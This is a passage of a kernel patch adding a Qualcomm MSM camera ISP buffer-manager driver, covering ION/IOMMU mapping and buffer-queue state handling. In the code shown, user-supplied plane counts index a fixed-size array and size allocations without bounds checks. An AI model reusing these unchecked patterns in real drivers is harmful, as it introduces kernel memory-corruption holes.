*buf_mgr, + uint32_t bufq_handle) +{ + struct msm_isp_bufq *bufq = + msm_isp_get_bufq(buf_mgr, bufq_handle); + if (!bufq) + return -EINVAL; + memset(bufq, 0, sizeof(struct msm_isp_bufq)); + return 0; +} + +static int msm_isp_prepare_v4l2_buf(struct msm_isp_buf_mgr *buf_mgr, + struct msm_isp_buffer *buf_info, + struct v4l2_buffer *v4l2_buf) +{ + int i, rc = -1; + struct msm_isp_buffer_mapped_info *mapped_info; + struct buffer_cmd *buf_pending = NULL; + + for (i = 0; i < v4l2_buf->length; i++) { + mapped_info = &buf_info->mapped_info[i]; + mapped_info->handle = + ion_import_dma_buf(buf_mgr->client, + v4l2_buf->m.planes[i].m.userptr); + if (IS_ERR_OR_NULL(mapped_info->handle)) { + pr_err("%s: buf has null/error ION handle %p\n", + __func__, mapped_info->handle); + goto ion_map_error; + } + if (ion_map_iommu(buf_mgr->client, mapped_info->handle, + buf_mgr->iommu_domain_num, 0, SZ_4K, + 0, &(mapped_info->paddr), + &(mapped_info->len), 0, 0) < 0) { + rc = -EINVAL; + pr_err("%s: cannot map address", __func__); + ion_free(buf_mgr->client, mapped_info->handle); + goto ion_map_error; + } + mapped_info->paddr += v4l2_buf->m.planes[i].data_offset; + CDBG("%s: plane: %d addr:%lu\n", + __func__, i, mapped_info->paddr); + + buf_pending = kzalloc(sizeof(struct buffer_cmd), GFP_ATOMIC); + if (!buf_pending) { + pr_err("No free memory for buf_pending\n"); + return rc; + } + + buf_pending->mapped_info = mapped_info; + list_add_tail(&buf_pending->list, &buf_mgr->buffer_q); + } + buf_info->num_planes = v4l2_buf->length; + return 0; +ion_map_error: + for (--i; i >= 0; i--) { + mapped_info = &buf_info->mapped_info[i]; + ion_unmap_iommu(buf_mgr->client, mapped_info->handle, + buf_mgr->iommu_domain_num, 0); + ion_free(buf_mgr->client, mapped_info->handle); + } + return rc; +} + +static void msm_isp_unprepare_v4l2_buf( + struct msm_isp_buf_mgr *buf_mgr, + struct msm_isp_buffer *buf_info) +{ + int i; + struct msm_isp_buffer_mapped_info *mapped_info; + struct buffer_cmd *buf_pending = NULL; + + for (i = 0; i < buf_info->num_planes; i++) { + mapped_info = &buf_info->mapped_info[i]; + + list_for_each_entry(buf_pending, &buf_mgr->buffer_q, list) { + if (!buf_pending) + break; + + if (buf_pending->mapped_info == mapped_info) { + ion_unmap_iommu(buf_mgr->client, + mapped_info->handle, + buf_mgr->iommu_domain_num, 0); + ion_free(buf_mgr->client, mapped_info->handle); + + list_del_init(&buf_pending->list); + kfree(buf_pending); + break; + } + } + } + return; +} + +static int msm_isp_buf_prepare(struct msm_isp_buf_mgr *buf_mgr, + struct msm_isp_qbuf_info *info, struct vb2_buffer *vb2_buf) +{ + int rc = -1; + unsigned long flags; + struct msm_isp_bufq *bufq = NULL; + struct msm_isp_buffer *buf_info = NULL; + struct v4l2_buffer *buf = NULL; + struct v4l2_plane *plane = NULL; + + buf_info = msm_isp_get_buf_ptr(buf_mgr, + info->handle, info->buf_idx); + if (!buf_info) { + pr_err("Invalid buffer prepare\n"); + return rc; + } + + bufq = msm_isp_get_bufq(buf_mgr, buf_info->bufq_handle); + if (!bufq) { + pr_err("%s: Invalid bufq\n", __func__); + return rc; + } + + spin_lock_irqsave(&bufq->bufq_lock, flags); + if (buf_info->state == MSM_ISP_BUFFER_STATE_DIVERTED) { + rc = buf_info->state; + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + return rc; + } + + if (buf_info->state != MSM_ISP_BUFFER_STATE_INITIALIZED) { + pr_err("%s: Invalid buffer state: %d\n", + __func__, buf_info->state); + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + return rc; + } + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + + if (vb2_buf) { + buf = &vb2_buf->v4l2_buf; + buf_info->vb2_buf = vb2_buf; + } else { + buf = &info->buffer; + plane = + kzalloc(sizeof(struct v4l2_plane) * buf->length, + GFP_KERNEL); + if (!plane) { + pr_err("%s: Cannot alloc plane: %d\n", + __func__, buf_info->state); + return rc; + } + if (copy_from_user(plane, + (void __user *)(buf->m.planes), + sizeof(struct v4l2_plane) * buf->length)) { + kfree(plane); + return rc; + } + buf->m.planes = plane; + } + + rc = msm_isp_prepare_v4l2_buf(buf_mgr, buf_info, buf); + if (rc < 0) { + pr_err("%s: Prepare buffer error\n", __func__); + kfree(plane); + return rc; + } + spin_lock_irqsave(&bufq->bufq_lock, flags); + buf_info->state = MSM_ISP_BUFFER_STATE_PREPARED; + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + kfree(plane); + return rc; +} + +static int msm_isp_buf_unprepare(struct msm_isp_buf_mgr *buf_mgr, + uint32_t buf_handle) +{ + int rc = -1, i; + struct msm_isp_bufq *bufq = NULL; + struct msm_isp_buffer *buf_info = NULL; + bufq = msm_isp_get_bufq(buf_mgr, buf_handle); + if (!bufq) { + pr_err("%s: Invalid bufq\n", __func__); + return rc; + } + + for (i = 0; i < bufq->num_bufs; i++) { + buf_info = msm_isp_get_buf_ptr(buf_mgr, buf_handle, i); + if (!buf_info) { + pr_err("%s: buf not found\n", __func__); + return rc; + } + if (buf_info->state == MSM_ISP_BUFFER_STATE_UNUSED || + buf_info->state == + MSM_ISP_BUFFER_STATE_INITIALIZED) + continue; + + if (MSM_ISP_BUFFER_SRC_HAL == BUF_SRC(bufq->stream_id)) { + if (buf_info->state == MSM_ISP_BUFFER_STATE_DEQUEUED || + buf_info->state == MSM_ISP_BUFFER_STATE_DIVERTED) + buf_mgr->vb2_ops->put_buf(buf_info->vb2_buf, + bufq->session_id, bufq->stream_id); + } + msm_isp_unprepare_v4l2_buf(buf_mgr, buf_info); + } + return 0; +} + +static int msm_isp_get_buf(struct msm_isp_buf_mgr *buf_mgr, uint32_t id, + uint32_t bufq_handle, struct msm_isp_buffer **buf_info) +{ + int rc = -1; + unsigned long flags; + struct msm_isp_buffer *temp_buf_info; + struct msm_isp_bufq *bufq = NULL; + struct vb2_buffer *vb2_buf = NULL; + struct buffer_cmd *buf_pending = NULL; + struct msm_isp_buffer_mapped_info *mped_info_tmp1; + struct msm_isp_buffer_mapped_info *mped_info_tmp2; + bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); + if (!bufq) { + pr_err("%s: Invalid bufq\n", __func__); + return rc; + } + if (!bufq->bufq_handle) { + pr_err("%s: Invalid bufq handle\n", __func__); + return rc; + } + + *buf_info = NULL; + spin_lock_irqsave(&bufq->bufq_lock, flags); + if (bufq->buf_type == ISP_SHARE_BUF) { + list_for_each_entry(temp_buf_info, + &bufq->share_head, share_list) { + if (!temp_buf_info->buf_used[id]) { + temp_buf_info->buf_used[id] = 1; + temp_buf_info->buf_get_count++; + if (temp_buf_info->buf_get_count == + bufq->buf_client_count) + list_del_init( + &temp_buf_info->share_list); + if (temp_buf_info->buf_reuse_flag) { + kfree(temp_buf_info); + } else { + *buf_info = temp_buf_info; + rc = 0; + } + spin_unlock_irqrestore( + &bufq->bufq_lock, flags); + return rc; + } + } + } + + switch (BUF_SRC(bufq->stream_id)) { + case MSM_ISP_BUFFER_SRC_NATIVE: + list_for_each_entry(temp_buf_info, &bufq->head, list) { + if (temp_buf_info->state == + MSM_ISP_BUFFER_STATE_QUEUED) { + + list_for_each_entry(buf_pending, + &buf_mgr->buffer_q, list) { + if (!buf_pending) + break; + mped_info_tmp1 = + buf_pending->mapped_info; + mped_info_tmp2 = + &temp_buf_info->mapped_info[0]; + + if (mped_info_tmp1 == mped_info_tmp2 + && (mped_info_tmp1->len == + mped_info_tmp2->len) + && (mped_info_tmp1->paddr == + mped_info_tmp2->paddr)) { + /* found one buf */ + list_del_init( + &temp_buf_info->list); + *buf_info = temp_buf_info; + break; + } + } + break; + } + } + break; + case MSM_ISP_BUFFER_SRC_HAL: + vb2_buf = buf_mgr->vb2_ops->get_buf( + bufq->session_id, bufq->stream_id); + if (vb2_buf) { + if (vb2_buf->v4l2_buf.index < bufq->num_bufs) { + + list_for_each_entry(buf_pending, + &buf_mgr->buffer_q, list) { + if (!buf_pending) + break; + mped_info_tmp1 = + buf_pending->mapped_info; + mped_info_tmp2 = + &bufq->bufs[vb2_buf->v4l2_buf.index] + .mapped_info[0]; + + if (mped_info_tmp1 == mped_info_tmp2 + && (mped_info_tmp1->len == + mped_info_tmp2->len) + && (mped_info_tmp1->paddr == + mped_info_tmp2->paddr)) { + *buf_info = + &bufq->bufs[vb2_buf->v4l2_buf.index]; + (*buf_info)->vb2_buf = vb2_buf; + break; + } + } + } else { + pr_err("%s: Incorrect buf index %d\n", + __func__, vb2_buf->v4l2_buf.index); + rc = -EINVAL; + } + } + break; + case MSM_ISP_BUFFER_SRC_SCRATCH: + /* In scratch buf case we have only on buffer in queue. + * We return every time same buffer. */ + *buf_info = list_entry(bufq->head.next, typeof(**buf_info), + list); + break; + default: + pr_err("%s: Incorrect buf source.\n", __func__); + rc = -EINVAL; + return rc; + } + + if (!(*buf_info)) { + if (bufq->buf_type == ISP_SHARE_BUF) { + temp_buf_info = kzalloc( + sizeof(struct msm_isp_buffer), GFP_ATOMIC); + if (temp_buf_info) { + temp_buf_info->buf_reuse_flag = 1; + temp_buf_info->buf_used[id] = 1; + temp_buf_info->buf_get_count = 1; + list_add_tail(&temp_buf_info->share_list, + &bufq->share_head); + } else + rc = -ENOMEM; + } + } else { + (*buf_info)->state = MSM_ISP_BUFFER_STATE_DEQUEUED; + if (bufq->buf_type == ISP_SHARE_BUF) { + memset((*buf_info)->buf_used, 0, + sizeof(uint8_t) * bufq->buf_client_count); + (*buf_info)->buf_used[id] = 1; + (*buf_info)->buf_get_count = 1; + (*buf_info)->buf_put_count = 0; + (*buf_info)->buf_reuse_flag = 0; + list_add_tail(&(*buf_info)->share_list, + &bufq->share_head); + } + rc = 0; + } + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + return rc; +} + +static int msm_isp_put_buf(struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle, uint32_t buf_index) +{ + int rc = -1; + unsigned long flags; + struct msm_isp_bufq *bufq = NULL; + struct msm_isp_buffer *buf_info = NULL; + + bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); + if (!bufq) { + pr_err("%s: Invalid bufq\n", __func__); + return rc; + } + + buf_info = msm_isp_get_buf_ptr(buf_mgr, bufq_handle, buf_index); + if (!buf_info) { + pr_err("%s: buf not found\n", __func__); + return rc; + } + + spin_lock_irqsave(&bufq->bufq_lock, flags); + switch (buf_info->state) { + case MSM_ISP_BUFFER_STATE_PREPARED: + if (MSM_ISP_BUFFER_SRC_SCRATCH == BUF_SRC(bufq->stream_id)) + list_add_tail(&buf_info->list, &bufq->head); + case MSM_ISP_BUFFER_STATE_DEQUEUED: + case MSM_ISP_BUFFER_STATE_DIVERTED: + if (MSM_ISP_BUFFER_SRC_NATIVE == BUF_SRC(bufq->stream_id)) + list_add_tail(&buf_info->list, &bufq->head); + else if (MSM_ISP_BUFFER_SRC_HAL == BUF_SRC(bufq->stream_id)) + buf_mgr->vb2_ops->put_buf(buf_info->vb2_buf, + bufq->session_id, bufq->stream_id); + buf_info->state = MSM_ISP_BUFFER_STATE_QUEUED; + rc = 0; + break; + case MSM_ISP_BUFFER_STATE_DISPATCHED: + buf_info->state = MSM_ISP_BUFFER_STATE_QUEUED; + rc = 0; + break; + case MSM_ISP_BUFFER_STATE_QUEUED: + rc = 0; + break; + default: + pr_err("%s: incorrect state = %d", + __func__, buf_info->state); + break; + } + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + + return rc; +} + +static int msm_isp_buf_done(struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle, uint32_t buf_index, + struct timeval *tv, uint32_t frame_id, uint32_t output_format) +{ + int rc = -1; + unsigned long flags; + struct msm_isp_bufq *bufq = NULL; + struct msm_isp_buffer *buf_info = NULL; + enum msm_isp_buffer_state state; + + bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); + if (!bufq) { + pr_err("Invalid bufq\n"); + return rc; + } + + buf_info = msm_isp_get_buf_ptr(buf_mgr, bufq_handle, buf_index); + if (!buf_info) { + pr_err("%s: buf not found\n", __func__); + return rc; + } + + spin_lock_irqsave(&bufq->bufq_lock, flags); + state = buf_info->state; + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + + if (state == MSM_ISP_BUFFER_STATE_DEQUEUED || + state == MSM_ISP_BUFFER_STATE_DIVERTED) { + spin_lock_irqsave(&bufq->bufq_lock, flags); + if (bufq->buf_type == ISP_SHARE_BUF) { + buf_info->buf_put_count++; + if (buf_info->buf_put_count != ISP_SHARE_BUF_CLIENT) { + rc = buf_info->buf_put_count; + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + return rc; + } + } + buf_info->state = MSM_ISP_BUFFER_STATE_DISPATCHED; + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + if (MSM_ISP_BUFFER_SRC_HAL == BUF_SRC(bufq->stream_id)) { + buf_info->vb2_buf->v4l2_buf.timestamp = *tv; + buf_info->vb2_buf->v4l2_buf.sequence = frame_id; + buf_info->vb2_buf->v4l2_buf.reserved = output_format; + buf_mgr->vb2_ops->buf_done(buf_info->vb2_buf, + bufq->session_id, bufq->stream_id); + } else { + rc = msm_isp_put_buf(buf_mgr, buf_info->bufq_handle, + buf_info->buf_idx); + if (rc < 0) { + pr_err("%s: Buf put failed\n", __func__); + return rc; + } + } + } + + return 0; +} + +static int msm_isp_flush_buf(struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle, enum msm_isp_buffer_flush_t flush_type) +{ + int rc = -1, i; + unsigned long flags; + struct msm_isp_bufq *bufq = NULL; + struct msm_isp_buffer *buf_info = NULL; + + bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); + if (!bufq) { + pr_err("Invalid bufq\n"); + return rc; + } + + for (i = 0; i < bufq->num_bufs; i++) { + buf_info = msm_isp_get_buf_ptr(buf_mgr, bufq_handle, i); + if (!buf_info) { + pr_err("%s: buf not found\n", __func__); + continue; + } + + spin_lock_irqsave(&bufq->bufq_lock, flags); + if (flush_type == MSM_ISP_BUFFER_FLUSH_DIVERTED && + buf_info->state == MSM_ISP_BUFFER_STATE_DIVERTED) { + buf_info->state = MSM_ISP_BUFFER_STATE_QUEUED; + } else if (flush_type == MSM_ISP_BUFFER_FLUSH_ALL && + (buf_info->state == MSM_ISP_BUFFER_STATE_DEQUEUED || + buf_info->state == MSM_ISP_BUFFER_STATE_DIVERTED || + buf_info->state == MSM_ISP_BUFFER_STATE_DISPATCHED)) { + buf_info->state = MSM_ISP_BUFFER_STATE_QUEUED; + } + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + } + return 0; +} + +static int msm_isp_buf_divert(struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle, uint32_t buf_index, + struct timeval *tv, uint32_t frame_id) +{ + int rc = -1; + unsigned long flags; + struct msm_isp_bufq *bufq = NULL; + struct msm_isp_buffer *buf_info = NULL; + + bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); + if (!bufq) { + pr_err("Invalid bufq\n"); + return rc; + } + + buf_info = msm_isp_get_buf_ptr(buf_mgr, bufq_handle, buf_index); + if (!buf_info) { + pr_err("%s: buf not found\n", __func__); + return rc; + } + + spin_lock_irqsave(&bufq->bufq_lock, flags); + if (bufq->buf_type == ISP_SHARE_BUF) { + buf_info->buf_put_count++; + if (buf_info->buf_put_count != ISP_SHARE_BUF_CLIENT) { + rc = buf_info->buf_put_count; + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + return rc; + } + } + + if (buf_info->state == MSM_ISP_BUFFER_STATE_DEQUEUED) { + buf_info->state = MSM_ISP_BUFFER_STATE_DIVERTED; + buf_info->tv = tv; + buf_info->frame_id = frame_id; + } + spin_unlock_irqrestore(&bufq->bufq_lock, flags); + + return 0; +} + +static int msm_isp_buf_enqueue(struct msm_isp_buf_mgr *buf_mgr, + struct msm_isp_qbuf_info *info) +{ + int rc = -1, buf_state; + struct msm_isp_bufq *bufq = NULL; + struct msm_isp_buffer *buf_info = NULL; + buf_state = msm_isp_buf_prepare(buf_mgr, info, NULL); + if (buf_state < 0) { + pr_err("%s: Buf prepare failed\n", __func__); + return -EINVAL; + } + + if (buf_state == MSM_ISP_BUFFER_STATE_DIVERTED) { + buf_info = msm_isp_get_buf_ptr(buf_mgr, + info->handle, info->buf_idx); + if (!buf_info) { + pr_err("%s: buf not found\n", __func__); + return rc; + } + if (info->dirty_buf) { + rc = msm_isp_put_buf(buf_mgr, + info->handle, info->buf_idx); + } else { + bufq = msm_isp_get_bufq(buf_mgr, info->handle); + if (!bufq) { + pr_err("%s: Invalid bufq\n", __func__); + return rc; + } + if (BUF_SRC(bufq->stream_id)) + pr_err("%s: Invalid native buffer state\n", + __func__); + else + rc = msm_isp_buf_done(buf_mgr, + info->handle, info->buf_idx, + buf_info->tv, buf_info->frame_id, 0); + } + } else { + bufq = msm_isp_get_bufq(buf_mgr, info->handle); + if (!bufq) { + pr_err("%s: Invalid bufq\n", __func__); + return rc; + } + if (MSM_ISP_BUFFER_SRC_HAL != BUF_SRC(bufq->stream_id)) { + rc = msm_isp_put_buf(buf_mgr, + info->handle, info->buf_idx); + if (rc < 0) { + pr_err("%s: Buf put failed\n", __func__); + return rc; + } + } + } + return rc; +} + +static int msm_isp_get_bufq_handle(struct msm_isp_buf_mgr *buf_mgr, + uint32_t session_id, uint32_t stream_id) +{ + int i; + for (i = 0; i < buf_mgr->num_buf_q; i++) { + if (buf_mgr->bufq[i].session_id == session_id && + buf_mgr->bufq[i].stream_id == stream_id) { + return buf_mgr->bufq[i].bufq_handle; + } + } + return 0; +} + +static int msm_isp_get_buf_src(struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle, uint32_t *buf_src) +{ + struct msm_isp_bufq *bufq = NULL; + + bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); + if (!bufq) { + pr_err("%s: Invalid bufq\n", __func__); + return -EINVAL; + } + *buf_src = BUF_SRC(bufq->stream_id); + + return 0; +} + +static int msm_isp_request_bufq(struct msm_isp_buf_mgr *buf_mgr, + struct msm_isp_buf_request *buf_request) +{ + int rc = -1, i; + struct msm_isp_bufq *bufq = NULL; + CDBG("%s: E\n", __func__); + + if (!buf_request->num_buf || buf_request->num_buf > VIDEO_MAX_FRAME) { + pr_err("Invalid buffer request\n"); + return rc; + } + + buf_request->handle = msm_isp_get_buf_handle(buf_mgr, + buf_request->session_id, buf_request->stream_id); + if (!buf_request->handle) { + pr_err("Invalid buffer handle\n"); + return rc; + } + + bufq = msm_isp_get_bufq(buf_mgr, buf_request->handle); + if (!bufq) { + pr_err("Invalid buffer queue\n"); + return rc; + } + + bufq->bufs = kzalloc(sizeof(struct msm_isp_buffer) * + buf_request->num_buf, GFP_KERNEL); + if (!bufq->bufs) { + pr_err("No free memory for buf info\n"); + msm_isp_free_buf_handle(buf_mgr, buf_request->handle); + return rc; + } + + spin_lock_init(&bufq->bufq_lock); + bufq->bufq_handle = buf_request->handle; + bufq->session_id = buf_request->session_id; + bufq->stream_id = buf_request->stream_id; + bufq->num_bufs = buf_request->num_buf; + bufq->buf_type = buf_request->buf_type; + if (bufq->buf_type == ISP_SHARE_BUF) + bufq->buf_client_count = ISP_SHARE_BUF_CLIENT; + INIT_LIST_HEAD(&bufq->head); + INIT_LIST_HEAD(&bufq->share_head); + for (i = 0; i < buf_request->num_buf; i++) { + bufq->bufs[i].state = MSM_ISP_BUFFER_STATE_INITIALIZED; + bufq->bufs[i].bufq_handle = bufq->bufq_handle; + bufq->bufs[i].buf_idx = i; + } + + return 0; +} + +static int msm_isp_release_bufq(struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle) +{ + struct msm_isp_bufq *bufq = NULL; + int rc = -1; + bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); + if (!bufq) { + pr_err("Invalid bufq release\n"); + return rc; + } + + msm_isp_buf_unprepare(buf_mgr, bufq_handle); + + kfree(bufq->bufs); + msm_isp_free_buf_handle(buf_mgr, bufq_handle); + return 0; +} + +static void msm_isp_release_all_bufq( + struct msm_isp_buf_mgr *buf_mgr) +{ + struct msm_isp_bufq *bufq = NULL; + int i; + for (i = 0; i < buf_mgr->num_buf_q; i++) { + bufq = &buf_mgr->bufq[i]; + if (!bufq->bufq_handle) + continue; + msm_isp_buf_unprepare(buf_mgr, bufq->bufq_handle); + + kfree(bufq->bufs); + msm_isp_free_buf_handle(buf_mgr, bufq->bufq_handle); + } +} + +static void msm_isp_register_ctx(struct msm_isp_buf_mgr *buf_mgr, + struct device **iommu_ctx, int num_iommu_ctx) +{ + int i; + buf_mgr->num_iommu_ctx = num_iommu_ctx; + for (i = 0; i < num_iommu_ctx; i++) + buf_mgr->iommu_ctx[i] = iommu_ctx[i]; +} + +static int msm_isp_attach_ctx(struct msm_isp_buf_mgr *buf_mgr) +{ + int rc, i; + for (i = 0; i < buf_mgr->num_iommu_ctx; i++) { + rc = iommu_attach_device(buf_mgr->iommu_domain, + buf_mgr->iommu_ctx[i]); + if (rc) { + pr_err("%s: Iommu attach error\n", __func__); + return -EINVAL; + } + } + return 0; +} + +static void msm_isp_detach_ctx(struct msm_isp_buf_mgr *buf_mgr) +{ + int i; + for (i = 0; i < buf_mgr->num_iommu_ctx; i++) + iommu_detach_device(buf_mgr->iommu_domain, + buf_mgr->iommu_ctx[i]); +} + +static int msm_isp_init_isp_buf_mgr( + struct msm_isp_buf_mgr *buf_mgr, + const char *ctx_name, uint16_t num_buf_q) +{ + int rc = -1; + if (buf_mgr->open_count++) + return 0; + + if (!num_buf_q) { + pr_err("Invalid buffer queue number\n"); + return rc; + } + CDBG("%s: E\n", __func__); + + msm_isp_attach_ctx(buf_mgr); + INIT_LIST_HEAD(&buf_mgr->buffer_q); + buf_mgr->num_buf_q = num_buf_q; + buf_mgr->bufq = + kzalloc(sizeof(struct msm_isp_bufq) * num_buf_q, + GFP_KERNEL); + if (!buf_mgr->bufq) { + pr_err("Bufq malloc error\n"); + goto bufq_error; + } + buf_mgr->client = msm_ion_client_create(-1, ctx_name); + buf_mgr->buf_handle_cnt = 0; + return 0; +bufq_error: + return rc; +} + +static int msm_isp_deinit_isp_buf_mgr( + struct msm_isp_buf_mgr *buf_mgr) +{ + if (--buf_mgr->open_count) + return 0; + msm_isp_release_all_bufq(buf_mgr); + ion_client_destroy(buf_mgr->client); + kfree(buf_mgr->bufq); + buf_mgr->num_buf_q = 0; + msm_isp_detach_ctx(buf_mgr); + return 0; +} + +int msm_isp_proc_buf_cmd(struct msm_isp_buf_mgr *buf_mgr, + unsigned int cmd, void *arg) +{ + switch (cmd) { + case VIDIOC_MSM_ISP_REQUEST_BUF: { + struct msm_isp_buf_request *buf_req = arg; + buf_mgr->ops->request_buf(buf_mgr, buf_req); + break; + } + case VIDIOC_MSM_ISP_ENQUEUE_BUF: { + struct msm_isp_qbuf_info *qbuf_info = arg; + buf_mgr->ops->enqueue_buf(buf_mgr, qbuf_info); + break; + } + case VIDIOC_MSM_ISP_RELEASE_BUF: { + struct msm_isp_buf_request *buf_req = arg; + buf_mgr->ops->release_buf(buf_mgr, buf_req->handle); + break; + } + } + return 0; +} + +static struct msm_isp_buf_ops isp_buf_ops = { + .request_buf = msm_isp_request_bufq, + .enqueue_buf = msm_isp_buf_enqueue, + .release_buf = msm_isp_release_bufq, + .get_bufq_handle = msm_isp_get_bufq_handle, + .get_buf_src = msm_isp_get_buf_src, + .get_buf = msm_isp_get_buf, + .put_buf = msm_isp_put_buf, + .flush_buf = msm_isp_flush_buf, + .buf_done = msm_isp_buf_done, + .buf_divert = msm_isp_buf_divert, + .register_ctx = msm_isp_register_ctx, + .buf_mgr_init = msm_isp_init_isp_buf_mgr, + .buf_mgr_deinit = msm_isp_deinit_isp_buf_mgr, +}; + +int msm_isp_create_isp_buf_mgr( + struct msm_isp_buf_mgr *buf_mgr, + struct msm_sd_req_vb2_q *vb2_ops, + struct msm_iova_layout *iova_layout) +{ + int rc = 0; + if (buf_mgr->init_done) + return rc; + + buf_mgr->iommu_domain_num = msm_register_domain(iova_layout); + if (buf_mgr->iommu_domain_num < 0) { + pr_err("%s: Invalid iommu domain number\n", __func__); + rc = -1; + goto iommu_domain_error; + } + + buf_mgr->iommu_domain = msm_get_iommu_domain( + buf_mgr->iommu_domain_num); + if (!buf_mgr->iommu_domain) { + pr_err("%s: Invalid iommu domain\n", __func__); + rc = -1; + goto iommu_domain_error; + } + + buf_mgr->ops = &isp_buf_ops; + buf_mgr->vb2_ops = vb2_ops; + buf_mgr->init_done = 1; + buf_mgr->open_count = 0; + return 0; +iommu_domain_error: + return rc; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.h new file mode 100644 index 0000000000000..3160a36a0f921 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.h @@ -0,0 +1,170 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef _MSM_ISP_BUF_H_ +#define _MSM_ISP_BUF_H_ + +#include +#include +#include "msm_sd.h" + +/* Buffer type could be userspace / HAL. + * Userspase could provide native or scratch buffer. */ +#define BUF_SRC(id) ( \ + (id & ISP_SCRATCH_BUF_BIT) ? MSM_ISP_BUFFER_SRC_SCRATCH : \ + (id & ISP_NATIVE_BUF_BIT) ? MSM_ISP_BUFFER_SRC_NATIVE : \ + MSM_ISP_BUFFER_SRC_HAL) + +#define ISP_SHARE_BUF_CLIENT 2 + +struct msm_isp_buf_mgr; + +enum msm_isp_buffer_src_t { + MSM_ISP_BUFFER_SRC_HAL, + MSM_ISP_BUFFER_SRC_NATIVE, + MSM_ISP_BUFFER_SRC_SCRATCH, + MSM_ISP_BUFFER_SRC_MAX, +}; + +enum msm_isp_buffer_state { + MSM_ISP_BUFFER_STATE_UNUSED, /* not used */ + MSM_ISP_BUFFER_STATE_INITIALIZED, /* REQBUF done */ + MSM_ISP_BUFFER_STATE_PREPARED, /* BUF mapped */ + MSM_ISP_BUFFER_STATE_QUEUED, /* buf queued */ + MSM_ISP_BUFFER_STATE_DEQUEUED, /* in use in VFE */ + MSM_ISP_BUFFER_STATE_DIVERTED, /* Sent to other hardware*/ + MSM_ISP_BUFFER_STATE_DISPATCHED, /* Sent to HAL*/ +}; + +enum msm_isp_buffer_flush_t { + MSM_ISP_BUFFER_FLUSH_DIVERTED, + MSM_ISP_BUFFER_FLUSH_ALL, +}; + +struct msm_isp_buffer_mapped_info { + unsigned long len; + dma_addr_t paddr; + struct ion_handle *handle; +}; + +struct buffer_cmd { + struct list_head list; + struct msm_isp_buffer_mapped_info *mapped_info; +}; + +struct msm_isp_buffer { + /*Common Data structure*/ + int num_planes; + struct msm_isp_buffer_mapped_info mapped_info[VIDEO_MAX_PLANES]; + int buf_idx; + uint32_t bufq_handle; + uint32_t frame_id; + struct timeval *tv; + + /*Native buffer*/ + struct list_head list; + enum msm_isp_buffer_state state; + + /*Vb2 buffer data*/ + struct vb2_buffer *vb2_buf; + + /*Share buffer cache state*/ + struct list_head share_list; + uint8_t buf_used[ISP_SHARE_BUF_CLIENT]; + uint8_t buf_get_count; + uint8_t buf_put_count; + uint8_t buf_reuse_flag; +}; + +struct msm_isp_bufq { + uint32_t session_id; + uint32_t stream_id; + uint32_t num_bufs; + uint32_t bufq_handle; + enum msm_isp_buf_type buf_type; + struct msm_isp_buffer *bufs; + spinlock_t bufq_lock; + + /*Native buffer queue*/ + struct list_head head; + /*Share buffer cache queue*/ + struct list_head share_head; + uint8_t buf_client_count; +}; + +struct msm_isp_buf_ops { + int (*request_buf) (struct msm_isp_buf_mgr *buf_mgr, + struct msm_isp_buf_request *buf_request); + + int (*enqueue_buf) (struct msm_isp_buf_mgr *buf_mgr, + struct msm_isp_qbuf_info *info); + + int (*release_buf) (struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle); + + int (*get_bufq_handle) (struct msm_isp_buf_mgr *buf_mgr, + uint32_t session_id, uint32_t stream_id); + + int (*get_buf_src) (struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle, uint32_t *buf_src); + + int (*get_buf) (struct msm_isp_buf_mgr *buf_mgr, uint32_t id, + uint32_t bufq_handle, struct msm_isp_buffer **buf_info); + + int (*put_buf) (struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle, uint32_t buf_index); + + int (*flush_buf) (struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle, enum msm_isp_buffer_flush_t flush_type); + + int (*buf_done) (struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle, uint32_t buf_index, + struct timeval *tv, uint32_t frame_id, uint32_t output_format); + int (*buf_divert) (struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle, uint32_t buf_index, + struct timeval *tv, uint32_t frame_id); + void (*register_ctx) (struct msm_isp_buf_mgr *buf_mgr, + struct device **iommu_ctx, int num_iommu_ctx); + int (*buf_mgr_init) (struct msm_isp_buf_mgr *buf_mgr, + const char *ctx_name, uint16_t num_buf_q); + int (*buf_mgr_deinit) (struct msm_isp_buf_mgr *buf_mgr); +}; + +struct msm_isp_buf_mgr { + int init_done; + uint32_t open_count; + spinlock_t lock; + uint16_t num_buf_q; + struct msm_isp_bufq *bufq; + + struct ion_client 